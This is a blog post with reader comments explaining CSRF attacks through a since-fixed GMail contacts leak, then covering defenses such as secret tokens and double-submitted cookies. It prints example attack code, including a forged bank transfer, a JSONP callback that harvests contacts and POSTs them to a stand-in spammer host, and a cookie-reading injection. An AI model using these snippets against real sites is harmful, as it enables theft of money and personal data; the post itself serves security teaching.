<< Review of top blog posts this year | Home | New DWR Releases >>

CSRF Attacks or How to avoid exposing your GMail contacts

GMail is having a hard time at the moment, the latest problem is a CSRF flaw that allows anyone to read your GMail contacts.

CSRF is commonly mistaken for Cross-Site Scripting (XSS); the article linked to by Digg makes this mistake, but the 2 attacks are not the same.

CSRF is a relatively unknown type of attack on a website, because it can be tricky to pull off. But this obscurity means that far more sites are vulnerable. In addition CSRF has all the potential of XSS so it is a powerful foe.

Aside: Sometimes you'll see references to this as XSRF, (I guess in deference to XSS). I'm using CSRF for 2 reasons. First, is that Wikipedia re-directs XSRF to CSRF, and second that's what Google says people are using. Compare the count on this search for CSRF (about 900k) with this search on XSRF (under 30k).

How it works

Normally an attacker is prevented from forging Cookies using Javascript by the domain rules in a browser. CSRF allows you to evade these rules. This is an example; it could be an HTML email or a web page.

<html>
I've noticed that your bank has done some cool updates,
why don't you login and checkout the funky new features.

<script>
var url = '/transferMoney?amount=1000&dest=eve@evil.com';
setTimeout(30000, "window.open(url)");
</script>
</html>

The example above will obviously need customizing for your bank, but it does demonstrate the core of the problem. Eve asked Alice to log into her bank, and used a simple script to wait while she did that and then script a money transfer by opening a new window, since Alice has logged on, the thief gets to steal money from Alice's account.

There is a problem with the above code: the new window will probably alert Alice to what is going on. It may well be too late by then, but Eve would like longer to cover her tracks. One option is to use XMLHttpRequest to asynchronously fetch the response without displaying it.

Enhancing the Attack

There are a number of tricks you can use to make the attack more pernicious:

  • Use XHR, IFrame or Script tags to try the request asynchronously
  • Include some logic to try every few seconds waiting for Alice to login
  • Script a sequence of requests to mimic the user following a wizard
  • Send the page in an HTML email to target known bank users: Phishing without needing to setup a fake site.

According to the Cookie spec, using XHR, IFrame and Script Tags should not work. Cookies should only be sent to the owning-domain, and then only when the parent window is in the same domain. However it's more likely that the cookie spec will be re-written than that browsers will change because a fully conforming browser would break the many systems that make use of this; like most JavaScript widgets and many advertising systems.

Anatomy of the GMail Attack

It's fixed now, but before the fix, if you are logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?

The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.

There is a Google URL that returns some script containing your contacts:

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999

The page used to look something like this:

google ({
  Success: true,
  Errors: [],
  Body: {
    AuthToken: {
      Value: '********'
    },
    Contacts: [
      {
        Id: '***',
        Email: 'users at dwr.dev.java.net',
        Affinity: ***,
        Groups: [
          {
            id: '^Freq',
            value: 'users at dwr.dev.java.net'
          }
        ],
        Addressess: [],
        Phoness: [],
        Imss: []
      },
    // Lots more contacts here
    ]
  }
})

So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:

<script type="text/javascript">
function google(data){
    var emails, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        mails += "<li>" + data.Body.Contacts[i].Email + "</li>";
    }
    document.write("<ol>" + emails + "</ol>");
}
</script>

<script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
</script>

But it would be just as easy to post the list of addresses off to some spam address catcher service:

<script type="text/javascript">
function google(data){
    var body, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        body += data.Body.Contacts[i].Email + "\n";
    }
    var xhr = new ActiveXObject("Microsoft.XMLHTTP");
    xhr.open("POST", "http://evilspammerservice.com/catcher");
    xhr.send(body);
}
</script>

In the short term you can protect yourself by logging out when you have read your email.

Lots of discussion of this on Megite, Techmeme, Ajaxian, Engadget.

Update: I see that a similar issue has affected Digg.com too. Also there were notes on how the fix went here that were variously confusing and wrong, I've removed them.

How to Protect Your Server

There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.

Things that wont protect you:

  • Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
  • Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
  • JSON: Removing the function call in the GMail example would protect read-only resources since browsers will act on cross-domain rules to keep the reply from you. If the server request changes any server side state then even though the browser can't read the reply, it can still cause the state to change.

Secret Hidden Fields

If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).

This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.

Double Submit the Cookie

The CSRF attack works by subverting what the browser will do with the cookie.  Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).

If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.

Use a Library

Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.



Re: CSRF Attacks or How to avoid exposing your GMail contacts

wow... you mean i can use XmlHttpResponse to make the call from my attack site to Google site and just eval() the response. you are a genius. so why can't i do that all the time?

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Joe, They have not fixed the issue completely. The URL can still fetch the addresses in XML format.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Can you give me a URL to try? I tried changing the out=js to out=xml, but the output didn't contain any contacts:

http://docs.google.com/data/contacts?out=xml&show=ALL&psort=Affinity&max=99999

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Going to the above mentioned URL does display all my contacts. I'm on Windows with Firefox.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Sorry - GMail had logged me out when I checked. You are right it still does work. However it's not evidence that the hole still exists. Cross-domain rules will protect the data.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

The problem with the response seems to be the google() call in the return data. If the request returns just a plain JSON object, the content cannot be accessed through <script src=...>, and the same origin policy prevents access and eval() through XHR, no? Yet you claim using JSON is not a fix. How is that?

Re: CSRF Attacks or How to avoid exposing your GMail contacts

JSON is a fix if the data is read-only and your request does not change anything on the server.

If the request changes server state, then you are effectively giving anyone permission to change that state without any access control checks.

not the case

You can't get data from a URL in a foreign domain and manipulate it with eval() or any other means and send it back to a web page from another domain: "I think it is still vulnerable: you need to use an XHR with an IFrame proxy to fetch the data, eval() it and then pass the return from the eval() to the function above. " If this statement were true, you could spawn any foreign web site in an iframe and capture all its contents. Clearly, designers of the major browsers thought about that and prevent such behavior. Having code to prove such an exploit exists is one thing, but just speculating about it is not helpful.

not the case

As you note (and I have to in the "Update" note) the XHR+IFrame hack does not work.

However there is a hack that would you can redefine the Array constructor to defeat JSON. More in an future blog post

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Do you know what checks were added as part of Google's fix? Are they using a formkey/canary/token?

There is one more potential solution that you missed: if the javascript that is returned verifies the document's domain before revealing its content.

(function() {
function checkdomain() { ... }
if (checkdomain()) { callback(data); }
})()

The problem is how to ensure that the checkdomain code doesn't make use of any hacked methods (such as an altered regex matching method, via the regex prototype or a replaced Regex constructor).

Maybe Dean Edwards sandboxing technique using an iframe could help? http://dean.edwards.name/weblog/2006/11/sandbox/

The problem then becomes, how to ensure that the methods which the sandboxing relies on haven't been altered...

Re: CSRF Attacks or How to avoid exposing your GMail contacts

There's no way I'd trust any domain checking code. Given that even things like array constructors can be altered in JavaScript, I'd suggest this route is a non-starter

Re: CSRF Attacks or How to avoid exposing your GMail contacts

It seems to be fixed doesnt it? The success=false might indicate that, All code has been tried but keeps giving a false success code, Anyone know a PoC that works?

Re: CSRF Attacks or How to avoid exposing your GMail contacts

This wouldn't really solve the problem I think..if attacker use XMlHttpRequest to get the responseText as plain text and post the text to his own database...the script can be manually analyzed...this is also why the problem is not really fixed because attackers can still ajax contact list in xml format and send it to somewhere....
I mean the key to fixing it is not sending any data back if the page should not to get any.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

As others have said the x-domain rules in XHR are, I think good enough for now. DWR takes the tack you suggest in stopping the request before any data is returned.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Hi...I was replying to the "check domain" approach about 3 or 4 posts above...I thought by pressing "reply" on the post would display my reply under the post I intended to reply to...hehehe

Re: CSRF Attacks or How to avoid exposing your GMail contacts

here are a few things you should know about CSRF.. please read, cuz it will take a while to explain everything http://www.gnucitizen.org/blog/cross-site-request-forgery/

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Double submitting the cookie is a good idea but it doesn't stop more determined attacks.
The attacker might be in control of a proxy server between the victim and the remote service (he might have hacked the proxy or the victim's computer or used ARP spoofing to redirect IP packets to his own server or whatever). In this scenario the attacker can inject his own Javascript code into the browser to read cookies and variables and let the browser do whatever he wants.

Example

This is the service legitimate code:
<html>
<head>
<script
src="http://service/appScript.js">
</script>
</head>
<body>
...
</body>
</html>
The HTML code is sent together with a session cookie and http://service/appScript.js defines some secret data as well (not strictly needed but useful for the sake of this example)
var secret = "SECRET DATA";
The attacker injects some Javascript in appScript.js
function attack() {
  alert("doing something with your " +
        secret);
  alert("doing something with your " +
        document.cookie);
}

attack() succeeds even if appScript.js has been shipped with https. The attacker can't inject code in appScript but he can insert it into the HTML page in many different ways (he's in control of the HTTP connection).

To recap, double submission of cookies raises the bar for an attack but the only real solution seems to be making every single response non modifiable, using https for both the HTML and the Javascript.

Nevertheless in some usage scenarios this will led to the display of the broken security icon. Just think about mashups of data coming from many different services that serve them only in http and for any reason you can't implement a http to https proxy on your server. It's very ironic that in those cases an attempt to provide a more secure service ends up being marked with a symbol of insecurity.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

I think that SSL does indeed protect you from the proxy attack you are talking about, however it's probably orthogonal to the CSRF issue in hand.

I've not tested a CSRF attack using scripted iframes with https but I see no reason why it won't work. So simply using SSL will not save you. Double submit cookies (or a similar solution) are still needed.

Re: CSRF Attacks or How to avoid exposing your GMail contacts

Hello, I'm German national and a gmail user... - without technical knowledge I urgently need help with a similiar problem. CONTACT DATA IS ACCESSED in my gmail account. I always clear my folder "temporary internet files". By chance I realised 2 days ago that there was a cookie of which the mail id of an acquaintance was part of. This was an email id which I myself haven't used for 3 years. It was clear for me that my account is spyed out. I observed the cookies after each log-in and it happened with 5 other addresses now: all of them were part of a cookie. None of the addresses (part of a contact list with 300 mail ids) I myself have used since years! There is also an authentication cookie which looks like a program file and which was never there before during all the years I used gmail. Furthermore there are cookies with question marks and squares. Please help me!!! I know nothing about programming and therefore don't understand the content of the posts above.

Gmail contacts flaw: Overview and suggestions

There’s news and discussion about a recent flaw in Gmail that can expose your contact list to any page. Summary: If you are logged into a Google account (email, personal homepage, etc) then another site can use that authentication to access your...

http://www.wikyblog.com/AmanKing/JavaScript_vulnerability_of_Gmail


Add a comment Send a TrackBack